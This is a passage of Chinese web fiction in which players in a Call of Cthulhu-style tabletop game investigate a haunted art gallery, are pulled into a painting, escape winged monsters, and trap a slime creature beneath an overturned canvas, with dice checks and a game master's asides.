“他说的是真的,我们是看到有个男人形迹可疑地冲出去,想着赶紧找人告知才进来的。”祝槐从包里翻出张名片,“是我有点犯职业病了。”
既然KP在她提到上回委托的时候没有反应,那不也就意味着,以前的经历她想怎么编就怎么编?
“我是个侦探,偶尔也会和警方合作,以前碰巧经手过类似的案子,所以一时间就有点……”
她不好意思地挽了下耳边碎发,“其实也因为我本来就对从事艺术行业的人很有好感……也不希望大家白白蒙受损失。既然碰见的是您,这就是缘分,可以尽快好好谈谈吗?”
[斯卡蒂]进行魅惑检定——
1/40。
队友:“………………”
KP:“…………………………”
大、成、功!
4. 风信子(二)
谷源看傻了。
路婉婉张大了嘴巴。
而被他们难以置信地注视着的青年,他眼中的警惕不知不觉消退得一干二净,确认似的又忍不住多打量眼前人几眼,然后从耳根蔓延上了薄薄的绯色。
……他脸红了。
祝槐:“……”
她指尖绕着落在胸前的发尾,一脸不明所以地迎回对方的视线,友好地递出了自己的名片。
“还未请教您的名姓?”
青年这下才回过神,意识到自己的失态后连咳两声,为了挽回局面似的连忙接了过来。
“伊莱·埃文斯,”他解释道,“算是这场画展的半个举办人。”
两个队友终于在这峰回路转的发展下找回了自己的语言能力。
谷源:“埃文斯?举办人?”
“没错。”
伊莱微微颔首,也平静了不少,“韦恩·埃文斯是我叔叔,我是他的侄子。”
“他们……发现的时候太晚了。”他说,“当然,我也是,不然他本来不用那么潦倒地……但是现在说什么都晚了,所以我就想,至少可以做一些力所能及的事。”
几人顿时恍然,你看看我,我看看你,最后目光都落向目前……理论上好感度最高的祝槐。
祝槐:“?”
“灰褐色头发。”她突然说。
其他人:“……啊?”
伊莱也是一脸惊讶。
“比耳根后长一点,戴方框眼镜,”她回忆道,“留了八字胡,穿的是员工制服,但是脚上是一双挺旧的运动鞋。”
“——我能想起来的全部特征。”
祝槐笑笑,“如果埃文斯先生帮您叔叔举办画展是想筹得钱去帮助别人,这就是我力所能及可以做的事。”
谷源和路婉婉又有点收不住下巴了。
两个人俱是连那男人的身材都没太记得清,天知道队友是怎么——
而对方若有所思片刻,点了点头。
“我有印象。”他说,“马上会让他们排查有没有展品出问题的,也先想办法联系一下那个员工。”
话音未落,金发青年微微一笑,柔和的弧度又为本就出众的相貌增色不少,“多谢你的提醒……当然,你们也是。”
谷源:“……”
路婉婉:“……”
不是,等等,什么叫也是?!那个停顿他们都听出来了的!
“总待在这里也不是事,我先带你们到展厅去吧。”伊莱主动道,“正好去叫人。”
祝槐:“好啊。”
导游不要白不要。
作为主办人之一的伊莱走在前头,三个玩家跟着跟着就落出一小段可以窃窃私语的距离。
“我了个去啊,”谷源小声问,“你是怎么看得记得那么清楚的?”
甚至没有通过技能检定!
“忘了我是干什么的了?”
祝槐挑眉,用手挡着还以同样的音量,“职业病。”
还在领路的“导游”对他们的悄悄话浑然不觉,三绕两绕,就领着几位不速之客到了前厅。
馆内依然一片寂静,但这次是有人声的那种了。
游客不多,三三两两地聚在墙上展出的油画跟前欣赏,偶尔有交头接耳的也压到了旁人听不见的音量。伊莱抬手叫近了在门廊下当班的工作人员,小声跟他交谈起来。
祝槐打量起离他们最近的那几幅,余光则留意着另一边的动静。
被叫过来的那个员工很是有点无精打采,但还是认真回答起伊莱的询问。两人又交谈几句后,后者便转身往这边走回来。
“误会一场。”他松了口气地解释,“你们说的那位刚刚跟经理告过假了,说是家里有点事,所以可能才慌慌张张的。”
三人不约而同地对视一眼。
“哎,是误会就好。”
谷源抓抓头发,“那我们现在——”
是不是要补个门票什么的。
反正不算是白折腾一趟,就像祝槐话里话外暗示的意思,他们知道了后门的位置,真出什么事了完全可以从员工通道开溜。
更别提还魅惑了个看上去很重要的NPC,肯定能多开方便之门。
“就请直接参观吧。”伊莱马上说。
看!省钱了就是最好的!
“虽然只是个误会……但也应该谢谢几位的好心。”他道,“只是我还有事要处理,不能再继续陪同了。”
“没事没事,”路婉婉说,“埃文斯先生还是去忙吧。说起来,我听说这里有个独立展厅……?”
她话音未落,伊莱就了然地笑了一下。
“每个来参观的游客都这么问。”
“可能要辜负你们的期待了,”他歉意道,“馆内还没有达成一致……我也正是要去谈这件事,但就算能展览,最早也得到明天了。”
“不过我保证叔叔的其他作品也完全值得来一趟。”
伊莱又看了祝槐一眼,“……格雷小姐觉得呢?”
问她?
祝槐歪歪头。
“当然值得。”她笑着说,“我不太懂美术,要是说错了请不要见怪。韦恩·埃文斯先生以前是浪漫派吧,现在看上去更偏向于达达主义?”
队友:“???”
网上可还没写现在啊!
“但是笔触依然相当柔和,色彩和构图也很有个人特色。”她沉吟,“……抱歉,我反悔了。我要收回刚才那句话,越说越好奇能被放在独立展厅里的会是怎样的杰作了。”
伊莱的笑意更真切了。
“说得没错。”
他道:“既然这样,我会尽力争取的,到时候还是欢迎几位免费来参观。”
三人目送他的身影消失在楼梯尽头。
谷源:“……他怎么不问咱俩觉得怎么样。”
路婉婉:“……”
废话,他们有魅惑大成功吗。
“可能也因为我正在看画?”祝槐笑眯眯地在两人面前一转身,“走啦走啦,先看看这位韦恩·埃文斯其他大作长什么样再说。”
伊莱领他们来的地方就在前台附近,这会儿正好挨个从前面开始看起。
很显然,尽管韦恩·埃文斯晚年的生活状况不怎么样,在作品上却很是高产,画作的类型从人物到自然风景不一而足。
至于后面这些,有的还能看出点原野风光的影子,有的就完完全全像是幻想中的景象了——破败的湖边都市有大半都成了废墟,岩石嶙峋,湖水漆黑,整幅画都透露出一种怪诞而不知所谓的氛围感,瞧得周围的游客一边投以赞叹的目光,一边都忍不住绕过去多走几步。
走着走着,谷源忽然“咦”了一声。
他声音不大,这展厅内也只有他们仨,被吸引转头看过来的就只有祝槐和路婉婉。
“怎么没网了,”他古怪道,“信号也太差了吧?”
路婉婉:“……小心暴风雪美术馆杀人事件?”
祝槐第一反应去摸兜,然后才想起自己的手机已经光荣牺牲,“往回走走试试其他地方的信号?”
“试试呗。不过你在看什么啊?”路婉婉好奇道。
谷源:“咳、咳咳,这个嘛……”
他左顾右盼,终于坦诚,“当然是听到生词就下意识查查是什么东西了。”
“难道你说达达主义?”祝槐说,“嗯,怎么说呢……语源是法语,意思是人刚出生时对周围的生理反应,是从上个世纪出现的一种艺术派别。”
“如果用一个词来概括——”
她走近他们正对着的那幅画。
“‘虚无’。”
“刚才我说了笔触细腻,对吧?”她道,“其实……真正来说,应该是缓慢和滞涩?”
“残酷、痛苦,无价值,否定周围的一切。的确,走投无路会让人绝望,但也未必会到这个程度……难道中间还发生过别的变故吗?”
谷源:“她说什么来着?”
祝槐:“?”
她还没来得
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及说话,路婉婉就道:“她说她不太懂。”
祝槐:“……”
“真不懂!”她哭笑不得地强调,“就是出于个人兴趣了解过一点!”
谷源:“嗯嗯嗯是是是。”
“你的一点,”路婉婉比划着手势,“是指间宇宙的一点吗?”
两人嘴上开着玩笑,一边也凑到了近前。他们都聚集在同一幅画前,那上面描绘的只是间平平无奇的书房,书本凌乱地堆到了天花板,边角上都是蜘蛛网。只是就和其他的一样,无端流露出一种诡谲感。
【全员都可以进行一个侦查检定。】
KP的声音忽然响起。
骰子开始转动。
[艾德蒙(谷源)]的侦查检定,99/70,大失败!
谷源:“……我靠!”
毫不知情地接过大失败第二棒的鸟窝头青年脚下一滑,整个人四肢朝天仰倒在地,听那动静和看他呲牙咧嘴的表情就知道摔了个狠的。
【扣1点血量。】
KP冷酷地说。
路婉婉:“诶,你没事吧?!”
医生本能使然,她第一反应就是赶去蹲下查看,也掏出了自己那个小急救包,“KP,我可以帮他回血吗?”
【你过急救,成功可以恢复1点血量。】
[贝蒂(路婉婉)]的急救检定,100/60,大失败!
她对着眼前伤患的后脑勺抬手就是一巴掌。
狠厉,响亮,就差一个脑震荡。
路婉婉:“……”
谷源:“……”
祝槐:“……”
没眼看了。
【再扣1点。】
平白无故多挨了一下的谷源凄惨地捂住了自己的脑壳。
“听我的,”他苦哈哈道,“你弃医从武可能更有前途。”
路婉婉:“……咳,人总是要进步的嘛。”
“只差一个。”
谷源若有所思,“我们就可以达成全员大失败的成就了。”
祝槐:“……”
那什么,其实已经达成了。
[斯卡蒂(祝槐)]的侦查检定,23/70,困难成功。
祝槐的目光落在了画面的一角——那竖放在书房角落里的空白画布上。
或许只能说,看上去是空白的。
在长久的凝视下,那画布中央渐渐浮现出了一个印记。
三个黄色的问号组成了类似于风车的图案,短暂的静止后,忽然以最中间的点为圆心,开始由缓至急地旋转。
它在闪烁,也在蠕动。
颜色似乎活了过来,末梢就是它的触须,肆无忌惮地探向四周的空白。她甚至不由自主地浮现出一个念头。
正如她在观察着它。
……“它”也在注视着她。
祝槐眨眨眼,那闪现又停止了,印记静静停留在画布上,仿佛从一开始就是被简单描绘在上面似的。
她条件反射地看了一眼自己的人物卡,发现SAN值那里没有任何变化。
“怎么了?”
谷源刚被路婉婉拉了一把,从地上爬起来,“发现了什么吗?”
“不,”祝槐微妙地说,“我觉得你们还是别看比较好。”
路婉婉:“咦?”
“滋——”
一瞬间,滋滋作响的刺耳电流声打断了他们的对话。
哪怕想看也没有机会了。
——黑暗突如其来。
视野被一片漆黑所占据,过了两秒,祝槐逐渐看出了墙壁和地板的轮廓,才确定自己不是突然失了明。只是……
身边静得可怕。
“……贝蒂?”
祝槐停顿了一下,又叫了声另一人的“名字”:“艾德蒙?”
毫无回应。
原本就在身边吵闹的两个队友在短短一两秒内失去了踪影,只留下死寂与黑暗。
除了她。
整个展厅内空无一人。
5. 风信子(三)
失策了。
祝槐心说。
应该在进来之前买个手电筒的。
她的眼睛适应过了黑暗,虽然足以避开种种障碍物,但想彻底看清或者阅读什么是不可能了。
至于现在——
她摸出死在白屏的手机,忧伤溢于言表。
就这点电量,能撑多久是多久吧。
祝槐一手握着手机,一手扶墙,靠那点微弱的白光摸索着往外走。她注意到门外不远处似乎有昏暗但稳定的光照。
看来应急系统仍在工作,这么说来,馆内总会有备用电筒之类的工具。
伸手不见五指的空间内只有她一人的脚步声,等走到门口,祝槐忽然听到“哗啦”一声。
动静是从身后传来的,她不急着动作,观察了片刻眼前的走廊,才慢慢回过头。
平整光滑、只铺了地毯的瓷砖地面,没有突然出现的影子也没有可疑的凸起,墙壁上的油画也都好好待在原处。
祝槐回忆了一下那声音。
……听着就像有谁在翻书。
她重新转回头,外面亮起的果然是应急灯,影影绰绰地照亮了点前路。
美术馆内的陈设乍看上去还是和他们刚进来时一模一样,却不知是不是因为这笼罩上来的黑暗与过度的寂静,祝槐总觉得角落里有东西在窸窸窣窣地作响。她一步步向前走,每次听到点什么别的声音转身,却看到身后没有任何异样。
然而这种情形最适合想象力的肆意疯长,在她看不见的地方,夹角处阴影如潮水般蔓延而上,变幻出枯槁手爪的形状,颤巍巍地一点点探来,又在对方察觉到异样时倏地缩回原位。
又一次停下来的祝槐盯着身后其实瞧不出任何奇怪之处的走廊陷入沉思。
也许她不应该看那么多恐怖片。
就在这时,她忽然又听到了别的声音。
比起先前的细微到简直像是幻觉的簌簌声更真切,应该是鞋跟与地面相接触的“啪嗒”声,持续不断地由远及近。
——有谁在靠近这边。
而且,近在咫尺了。
那脚步声转过拐角的一瞬间,明亮耀眼的白光也跟着出现在眼前。
“太好了,原来你在这儿!”
路婉婉松了口气,“吓我一跳,一眨眼的功夫你们就都——”
被她叫住的对象却不像她这么惊喜。
“提问,”祝槐说,“你刚才打到了那谁的什么地方?”
路婉婉:“……”
她一把捂住脸,“打个商量,咱别鞭尸了成吗?”
“不是有那种情节吗?”祝槐莞尔,松开了捏着的包带,“同伴突然消失,结果再出现在眼前的时候已经换了个芯之类的。”
路婉婉:“………………”
不要说那么可怕的事啊啊啊啊!
“的、的确……”她抖了抖,“但这下至少能确认咱俩还是原装的了。”
“人是原装的,地方就……”
祝槐侧头看向窗外,“你发现了吗?”
路婉婉:“嗯……”
“好奇怪啊,我刚才也在想,”她喃喃道,“我们进来的时候不是白天吗?”
隆伦镇的美术馆地处偏僻,但馆内一切也是经特别设计过的。
走廊上的窗户做成了落地式,透过玻璃映入的阳光投在深咖色地面上简直像一条流动的光河。
可现在……
窗外笼罩着的黑雾有如凝成了实质,光是接近,带着温度的呼吸就在上面扑出了一小片白汽。
路婉婉:“难道是那种——”
“‘里世界’?”祝槐补上了她的话。
正对面突然也传来了人声。
脚步声迫近,连转过来的白光也如出一辙。乱走一通结果真撞见了同伴的谷源又惊又喜:“终于找到你们了嘿!”
祝槐假装自己一点也没有羡慕他们还能当手电筒的手机。
“等一下!”路婉婉警惕地问,“我刚才打到了你的哪个部位?”
谷源:“……???”
“你还问!你还问我!”
他悲愤道:“要不要再看看我后脑勺那么大一个包啊?”
路婉婉:“就、就确认一下是不是本人嘛……”
她这时候才注意到谷源身后的另一人,“……咦?”
“咦,”祝槐也发出了疑惑的声音,“埃文斯先生?”
伊莱·埃文斯从同行者旁边的黑暗中走出来,望向她们的碧绿双眸同样讶异。
“我刚才还在想你们会不会也在,想不到真的……”他迟疑了下,“就你们两个?没有再见到其他人吗?”
在场四人都发现了情况的不同寻常,美术馆产生了异变,但此时此刻身处这里的,到底是停电前就在馆内的所有客人还是只有他们四人——这是有很大差别的。
然而,现在看上去似乎是后者。
祝槐摇摇头。
“我们三个……”她遥遥一指,“停电前都在那个展厅里,从那开始就没看到别人了。埃文斯先生你呢?”
“我本来是去二楼会议室的。”
伊莱·埃文斯面露不解,“到了那里以后却发现一个人也不在,正准备打电话联系一下就眼前一黑,回过神来已经在一楼了。”
“诶,等等。”这会儿反是谷源开了口,“你手机当时还有信号?”
伊莱一愣,“不,我没注意。”
“准确说是刚拿出来就停了电,”他回忆道,“后面再看信号确实是空格……不过,如果只是单纯的停电,也不会这样瞬移吧?”
祝槐:“你们之前居然没有说到这个问题?”
“啊,因为没来得及。”谷源解释说,“我俩是过了一个展厅才碰见的,没说两句呢,就……”
他后半句的音量越来越小。
“不好,”谷源面色一变,“快跑!”
伊莱的神情也不太好看,他俩显然知道的还更多些——祝槐和路婉婉虽然也听到了一股子粘滑的水声,却只能从他们二人的表现来判断出情况不容小觑。
两人几乎是立刻按熄了手机,开始寻找周围的掩体。逃命这事可用不着别人教,祝槐和路婉婉跟着藏在厅前用来装饰的几盆巨型盆栽后,尽可能让花盆和宽阔枝叶遮掩住自己的身形。
路婉婉:“怎么回事啊?”
“我们碰头以后,正准备往外走,”谷源小声说,“也是突然听到这个声音,想着还是先看看再出去……得亏是留了个心眼。”
“反正……你自己看吧。”
叶与叶的缝隙间,伴随着黏腻的摩擦声,正在缓慢向他们方才所在方向移动的生物终于露出了冰山一角。
用“生物”来形容也是抬举它了。
灰绿色流体上覆着厚厚的鳞片,向周围淌出了四肢的模糊形状,只有中间一段躯体还能看出些许真正的人形,两颗深陷在皮肉里的黑亮眼珠艰涩地转动着。这简直是噩梦中才会有的存在,它散发着阵阵浓烈的恶臭,一点点
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靠着柔软的“触肢”向前流动,每一次摩擦都作响出亵渎而不可名状的水声。
初次近距离得见这鬼玩意的人都不由自主地屏住了呼吸,这才没真让那异臭给熏晕过去。
他们静静地待在观赏植物后,大气也不敢出,直到那令人作呕的液体声终于远离了耳畔,视野里也一点都不见了怪物的踪影。
“我——我去。”谷源惊魂未定地换气,“知道可能长得丑,没想到长得这么丑,而且味儿还这么——”
路婉婉:“……就算我学法医都受不了这味道。”
祝槐一言难尽地扇了扇,转头看到伊莱·埃文斯也是同样的反应。
“我觉得,”她问,“咱们也该换个地方?”
这提议得到了众人的一致赞同,他们也没傻到待在原地等怪物杀个回马枪,干脆蹑手蹑脚地摸进了反方向的展厅。
【全员,请过一个幸运。】
打从进入这“里世界”,他们第一次听到KP的声音。乌漆墨黑的地方谁也看不见谁的数值,但“扑通”一声和痛呼直接出卖了团队中的黑鬼。
谷源疼得失去了表情管理,手机也跟着掉在地上,朝上的那面手电光亮得刺眼。
这一下顿时照亮了害他滑倒的罪魁祸首——地砖上满是颜色可疑的粘滑液体,连地毯也沾了不少,明显能看出几道爬行过的痕迹。
而足够幸运的另外三人完完整整地避过了这些,沉默地看向唯一非酋。
“那东西肯定在这爬过。”谷源苦大仇深,又自嘲道,“我今天和地板格外有缘啊。”
伊莱:“我扶你一把?”
“不用不用。”
谷源拾起手机,自己撑着墙面爬起了身。
“……诶?”
“啊?”路婉婉刚转过来,“怎么了?”
他的手还扶在墙上。
“手,”谷源紧张道,“我的手指头拔不出来了!”
路婉婉立刻把手电光转过去,照清楚了他那边的状况。原来他起身时也没顾别的,顺着就碰上了挂在旁边墙壁上那幅画的画框,然而——
本该只是刷了层光油而光洁干燥的油画表面此刻成了如同沼泽的状态,谷源见鬼似的瞪着自己的两根手指,它们深陷其中,周围甚至漾起了圈圈波纹,粘在里面拔也拔不出来。
“我摸的时候根本就没用力气——”
他咬着牙使尽了劲,却眼睁睁地看着自己整只手都被吸了进去,“靠!”
前后还不过一眨眼的功夫,谷源的半条胳膊都消失在了画里,简直就像是有什么在里面用更大的力气拉扯着他一样。他两个队友见势不对正要上前,伊莱·埃文斯的反应还要更快一步,抓着还留在外面的那只手腕试图角力将人拉出来。
“别过来!”
谷源一把甩开了对方。
但这就是他所能做出的最后一个动作了。
伊莱被推得向后趔趄,就在下一秒,连仅存的指尖也消失在他们面前,油画也重回了正常的模样。
一室寂静。
“这……”路婉婉声音带颤,“这下我们?”
光照向油画,瞧不出任何端倪,画上描绘着的是一条雨后小路。天空灰蒙蒙的,建筑物旁盘旋着两只像是鸟类的黑影,远远地也有行人来往。但无论是那些“行人”还是建筑,都是如出一辙的扭曲变形。
他们的队友……被吸进了这幅画里。
祝槐打破了沉默。
“我想进去看看。”她说。
6. 风信子(四)
“他被吞没一半的时候还能有声音传过来,所以我猜,另一侧可能有空间和空气。”
祝槐停了一下,又问道:“你们的打算呢?”
“我……”路婉婉迟疑片刻,还是说,“我当然也要去,总不能把他一个人扔这。”
退一万步,以他们现在的“身份”也不应该。
而且,破局的办法说不定就在里面。
“你们都去的话,我也一起吧。”
伊莱说:“反正留在这里也是一个人面对……”
他似乎在斟酌该用什么词来形容那个由人形退化的怪物,最后还是放弃了,苦笑着耸耸肩。
“但风险还是不小的。”祝槐说,“艾德蒙毕竟是我们的朋友,埃文斯先生的话,以自保为先更好吧。”
伊莱失笑,“难道格雷小姐以为我会是这么冷漠的人吗?”
“之前我或许会犹豫,不过,在威廉姆斯先生推的那一把之后,我觉得值得一试。”
“没关系。”他点点头,“走吧,我先来。”
“当然,前提是我们也进得去。”
他有意抢在两个女生前当探路人,不等她俩阻拦就去碰了那幅油画。
伊莱·埃文斯抬手扶上画框,原本已恢复如常的画面在他指尖挨过去的一瞬间泛起涟漪,然后毫无悬念地深陷而下。
没有反抗的拽入也比前一位顺利许多,他几乎是在两三秒内消失在了她们面前。
画前只剩下两个人。
路婉婉:“接下来?”
她征询地看向祝槐。
“我来吧。”祝槐说,“记得小心一下‘那位’。”
那位?
路婉婉一愣,还来不及说什么,祝槐已经效仿着摸向那幅油画。
她终于也体验到了那股粘滞感。
与此同时,祝槐也知道谷源为什么反抗不了了。强大的吸力自指尖而来,她整个人都难以自控地向前倾去。
眼瞧着离油画五颜六色的涂料越来越近,她却觉得那景色愈加真切,又如水纹荡开,让她在接触的刹那感到自己不过是穿过了一层无形薄膜——
她呼吸到雨中沉闷的泥土气息。
——赌对了。
既然是新手关卡,KP应该不会就这么直接“撕卡”。
说到底,那个幸运检定出现的地方似乎毫无必要。
虽然不排除恶趣味的可能性,但以祝槐的经验……对方不会闲成这样,那就只能理解为“入画”也是幸运失败的惩罚的一部分。
那条小路现在就被她踩在脚下,空中飘下的雨丝扑得脸上凉凉的,远处行人倒仍是一副摇摇晃晃欲断魂的影子模样。至于更早进来的两人——
就站在她前方。
“你们也进来了?!”谷源震惊道,他倒还毫发无损,“我不是说——”
伊莱:“是你的同伴提议的。”
“歇歇吧。”祝槐说,“‘我’还干不出扔下生死不明的朋友的事。”
“虽然我真的很感动……”
谷源咽咽口水,“但是,我必须提醒你们,它们好像从刚刚开始就注意到我了。”
他指着盘旋在头顶高空中的黑影。
路婉婉:“……什么?!”
她才刚刚凭空出现在他们身边,一脸懵地看着那两只“鸟”俯冲而下。
【这是你们自己选的。】
KP幸灾乐祸地说。
——那根本不是鸟。
它们像乌鸦,也像鼹鼠,像秃鹫又像腐烂的类人形体。两只长着宽阔蝙蝠翅膀的四不像杂种生物摆动着它们如同昆虫般多节的身体,呼啸着向他们席卷而来。
它们身上覆着厚厚的毛皮,不难想象哪怕是火器也不一定能造成多大的伤害。前爪倒是尖利得叫人一看就感觉得到万一被抓到时的幻痛——别说伤口不伤口的了,不直接开膛破肚或是缺胳膊少腿都是轻的。
而且,最重要的是——
路婉婉尖叫:“我们根本就没武器啊!”
但显然,在战斗之前,还有另一项严峻的考验等待着他们。
KP的声音响起。
【初次目击黄衣之王的侍奉者——拜亚基,所有人进行意志检定,成功豁免,失败随机下降一到六点SAN值。】
祝槐:“……”
本就不富裕的生活真是又雪上加霜了呢。
她还不想这么快就倒在这里——好在她此刻的骰运还足够争气。
[斯卡蒂(祝槐)]的意志检定,69/70,成功。
“我有个想法,”伊莱压低了声音,语速也跟着快了,“还记得刚才画里的样子吗,能看到的景物方向和我们现在是同一面向。”
祝槐马上就意会并接上了他的下半句话。
“——那我们只要沿着反方向,”她说,“说不定就可以脱离这幅画。”
实际上,他恐怕真的所言非虚。
凛冽寒风卷着冷到彻骨的雨滴打在脸上,只刹那间,定睛望去,他们身后数米外的空地上仿佛有一道光影晃了过去。它瞧着不太真切,衬得后面的景象都虚幻起来,不过是转瞬即逝的光线折射,甚至在下一秒就看不出和周围有任何差别。
谷源:“真的要这么试吗?”
叫拜亚基的那玩意儿离他们只剩下十几米,后面只有空地,万一成不了真那就只有死路一条了!
要是能成真……
这算什么,被NPC带飞吗?!
路婉婉:“好像也没有别的选择了吧——”
“把你的相机给我,”祝槐说,“然后我数三二一,同时行动。”
他们不清楚这玩意的习性,彼此能搭把手更方便——总之,一起是最好的。
谷源:“啊?诶——”
尽管还是完全的茫然状态,可她的语气听上去实在太过冷静太有说服力了,身处险境被搭救的感激一瞬间占了上风,他下意识地就直接解下挂在脖子上的相机递了过去。
“三,”祝槐抓稳了相机挂带,“二……”
“跑!”
转身,蹬地,起跑,四人在毫厘之差的同时采取了行动。
明明身处画中,所看所听所感受到的一切都真实无比,灌进来的冷风狠狠刮着肺部,挤出血沫般的铁锈味反过来弥漫进鼻腔,喉咙中泛起干疼,但这都远不及投在身前的两道庞大黑影。
只有到了近处才能真感觉到那两只名为拜亚基的怪物的庞大,更近了,不仅仅是他们与那道究竟在何处的界限,也是他们与拜亚基。
希望也恰恰在此时浮现,眼前一瞬间似乎真的有美术馆内的模样闪过,而且,就在离他们短短几厘米的地方。
刚刚还暗藏杀机的黑暗此时看来居然格外亲切,脱身的机会就在前方,谷源满怀希望地再度踏出最后一步——
他肩上忽然一紧。
锐利爪尖刺破布料嵌进血肉,钻心疼痛转眼窜上肩头,本该还在一米之外的拜亚基瞬息间扑在了他背后。谷源一声痛呼还卡在喉咙里,眼前就闪过了一道黑影。
短焦镜头狠狠砸上拜亚基少毛覆盖的头颅,正要下咬的利齿也跟着偏移了几分。
[斯卡蒂(祝槐)]的斗殴检定,11/60,极难成功。
路婉婉也极有眼力见,尖叫着抓住谷源的衣领,帮他在挣扎下逃离了拜亚基的爪子。
他们已经贴近了油画与现实的缝隙,此时稍一仰身,就真感觉到了与最开始那股吸力不同的斥力。
要说那时是不断下陷的沼泽,此时就是如肥皂泡一样脆弱的黏膜。
“扑通!”
几人接二连三地栽倒在地上,大口大口地喘着气,就指着馆内湿润温暖的空气赶去肺里寒气了。
谷源张了张嘴。
“我……”
他心情复杂。
虽说大家身份设定是同学,但本质上认识才不超过两小时,在他遇到危险后直接走人都合情合理。可他们却主动——
“好啦,”路婉婉说,“能做就去做了嘛。”
“我也还是那句话。”祝槐把相机递还给他,“喏,你的东西。”
“但是我——”
谷源的声音在低头看向手里时突然顿住了,他的神情变了又变——镜头和液晶屏上布满了比蜘蛛网还细细密密的裂纹,铝合金外壳也严重扭曲变形,按一下按钮就有黑烟冒出来,俨然已经报废了。
“这相机。”
他跌坐在地,声音颤抖地说:“是‘我’才买不久的,花了五万美元。”
小票都还在包里呢。
祝槐:“……”
路婉婉:“……”<
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啊这,你还挺入戏的。
“没事。”祝槐友情抚摸了一下眼前的狗头,“旧的不去新的不来。”
“就是就是,”路婉婉附和道,“你的命总比五万美元值钱吧?”
摆脱了近在咫尺的危机,馆内的阴森感也没那么难熬了。没有人质疑祝槐最后露的那一手,哪怕是她的队友,毕竟无论以她的“现实身份”还是角色卡,会点防身手段都理所应当。
你一言我一语,两三句打趣足以让紧绷的气氛多少轻松了点。
然而,威胁从来都不远。
在谷源爬起来的摩擦声中,夹进了一丝极细微的水声。
他刚收拾出的笑容就这么僵在脸上。
“我……”他垂死挣扎。
路婉婉残忍地戳破了他的幻想,“你没听错。”
伊莱沉默了下,“……应该是‘那个’又来了。”
“不是吧?”谷源崩溃,“它不是往对面去了吗?!”
“说不定已经巡逻完了一圈,”祝槐一本正经地分析,“回来看看有没有惊喜。”
其他人:“……”
呵呵,那还真是有惊又有喜。
“我听出来了。”路婉婉说。
“它好像……”
她咽咽口水,“就是往咱们这个方向来的。”
四人对视一眼,在眼神交流间就达成了共识。
既然如此——
……
展厅里静得不留一丝人声。
光亮消失殆尽,余下的就是无尽黑暗。几道影影绰绰的影子藏在遮蔽处,一动不动。
他们都侧耳听着门外走廊的动静,那有什么在不断爬行似的湿滑水声越发地靠近,直至一门之隔。
所有人的心率都在刹那间升到了最高,然后,终于在短暂的停顿后,听到声音渐渐向前挪动。
那不知名的怪物在准备离开了,心脏落回原位,松出的吐息带走了紧张的情绪。
万籁俱寂之时,他们耳边忽然响起了骰子转动的声音。
——完了。
祝槐马上反应过来。
不仅仅是他们,连NPC和怪物也是可以进行检定的。
【真可惜。】
KP毫无诚意地笑道。
没有人管得上可惜不可惜了。
怪物爬行的水声在下一秒掉转,直直往他们的方向来了。
其他人的目光顿时集中在祝槐身上,暗暗捏了把汗——她的位置离门最近,就在那幅惹了祸的油画的正下方。
“KP,”祝槐突然在心里问,“这油画是可以取下来的吧?”
【……可以。】
KP不知道她打算干嘛,警惕道。
【但是以你的力气,需要进行力量检定。你要做什么?】
“没事,”祝槐说,“我就拿着玩玩。”
KP:“……???”
我信你个鬼啊!
其他人听不见她心里的声音,只听到KP突然做了回答,正疑惑呢,就见祝槐径直起身,小心避开画布,握着画框就试图把那一整幅油画给取下来。
[斯卡蒂(祝槐)]的力量检定,19/40,困难成功。
轻而易举。
祝槐没有理他,三步并作两步,直接往门口迈去。
油画分量沉甸甸的,十足不轻,刚才的检定可真是帮了她大忙。
【……你要做什么?】
KP似乎意识到了什么,惊慌地问。
【你到底要做什么?!】
所以都说了——
祝槐举高了油画。
拿着玩玩嘛!
那没有人样的流体“生物”露头的一瞬间——
她用力地、狠狠地拍了下去!
油画平稳落地。
画框撞上地面,来回摇晃的间隙里,最后几根还扒在外面的“触须”也被一点点拖入。干净,彻底,消失得没有一丝痕迹。
祝槐早在使力的同时松了手,飞快退了两步站到一边,气定神闲地看它扭动,看它挣扎,看它绝望躺平。
看它挥一挥触手,不留下一片云彩。
在KP的惨叫声中,在其他人目瞪口呆的注视中——
“祝你们百年好合。”
她真诚地祝福道。
7. 风信子(五)
怪物不见了。
他们目前在馆内最大的威胁……呃,就算不能说消失得有多干脆利落,一时半会儿肯定也是出不来的。
路婉婉默默按亮手电筒。
油画倒扣在地面上,尽管一切看上去如此平静,但以他们的亲身经历,想象一下里面是什么状况也不是难事。
“来搭把手。”祝槐说。
谷源也才从震惊中回神:“……啊?”
不知为何隐约能听见哐哐的声音,他总觉得是KP在撞墙。
“啊什么啊,”祝槐眨眨眼,“咱们能出来,它也很有可能吧。”
她指指外面那些沙发和座椅,“画布那面对着地板,再把这些压在上面应该就差不多了。”
哐哐声震耳欲聋。
谷源:“……”
路婉婉:“……”
他们是万万没想到居然会对KP产生一丝丝微妙的同情。
只是想想对方放怪的所作所为,这一丝同情也变成了同样的幸灾乐祸。几人七手八脚地忙活起来,又是搬椅子又是搬板凳,最后硬是在不压坏画框的前提下堵了个满满当当。
还嫌不够保险,他们又用沙发和桌子围在周边。这下可真是个里三层外三层,哪怕是天王老子也不可能轻松脱身。
退一万步,就算逃出来了,动静也肯定大得在楼上都听得见。
“好了,后患解决了。”祝槐歪了歪头,征询队友的意见,“你们觉得下一步该怎么做?”
“做什么……”
路婉婉迟疑,“这座美术馆里,怎么着也应该有点一切为什么会变成这样的蛛丝马迹吧?”
当着NPC的面,她把话说得保守了点。既然是以玩家的身份,但凡多玩点恐怖游戏都该知道,一旦确认真的出不去,他们就只能专注于探索馆内了。
“所以,”谷源想到了同一处去,“就先去看看大门口到底是个什么状态?”
“的确,这是最合理的。”祝槐赞同,“不过。”
她说:“我想去二楼。”
队友:“……哎?”
他俩异口同声地出了一声,祝槐对上两人目光,笑眯眯地解释道:
“没办法嘛,我对窗外那个状态是抱悲观态度的。比起这个,我更好奇埃文斯先生最开始说的,一睁眼就从二楼到了一楼的事。”
“你们看,我们三个不管怎么转移都是在一楼内部,唯一一个在二楼的埃文斯先生却也是这样。说不定……这里面有某种规律在,也有可能是二楼有什么不能让我们发现的东西。”
“埃文斯先生觉得呢?”
伊莱一怔,“我想,是不能排除这种可能性。”
“等等,”谷源意识到了,“那这么一来——”
“嗯。”祝槐笑道,“分头行动吧。”
“一边留在一楼,顺带看看大门情况,另一边就去二楼。”她说,“鉴于埃文斯先生肯定更熟悉馆内,我们两个一队怎么样?”
另两人:“……”
废话!他们都亲眼见过那个魅惑大成功的,他这时候会反对才奇怪啊!
果然,伊莱·埃文斯虽然还有点犹豫,却也点头答应下来,“我没有意见。”
